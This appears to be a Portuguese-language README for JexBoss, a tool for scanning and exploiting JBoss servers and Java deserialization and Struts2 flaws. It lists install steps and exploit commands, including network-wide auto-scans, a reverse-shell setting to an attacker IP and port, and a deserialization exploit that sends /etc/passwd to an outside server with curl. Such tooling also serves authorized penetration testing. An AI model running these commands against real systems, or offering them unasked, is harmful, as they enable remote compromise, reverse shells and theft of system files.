
JexBoss: Ferramenta de verificação e EXploração do Jboss (e vulnerabilidades de desserialização Java)
JexBoss é uma ferramenta para testar e explorar vulnerabilidades no JBoss Application Server e outras plataformas Java, frameworks, aplicativos, etc.
Para instalar a versão mais recente do JexBoss, utilize os seguintes comandos:
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
OU:
Baixe a versão mais recente em: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
Se você estiver usando CentOS com Python 2.6, instale o Python 2.7. Exemplo de instalação do Python 2.7 no CentOS usando Collections Software scl:
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash
Se você estiver usando Windows, pode usar o Git Bash para executar o JexBoss. Siga os passos abaixo:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080
A ferramenta e os exploits foram desenvolvidos e testados para:
Os vetores de exploração são:
$ python jexboss.py

$ python jexboss.py -u http://192.168.0.26:8080

$ python jexboss.py -h
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt


Após explorar um servidor JBoss, você pode usar o próprio shell de comando do jexboss ou realizar uma conexão reversa usando o seguinte comando:
jexremote=SEU_IP:SUA_PORTA
Exemplo:
Shell>jexremote=192.168.0.10:4444

Ao explorar vulnerabilidades de desserialização Java (Desserialização de Aplicação, Desserialização de Servlet), as opções padrão são: fazer uma conexão de reverse shell ou enviar um comando para executar.
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log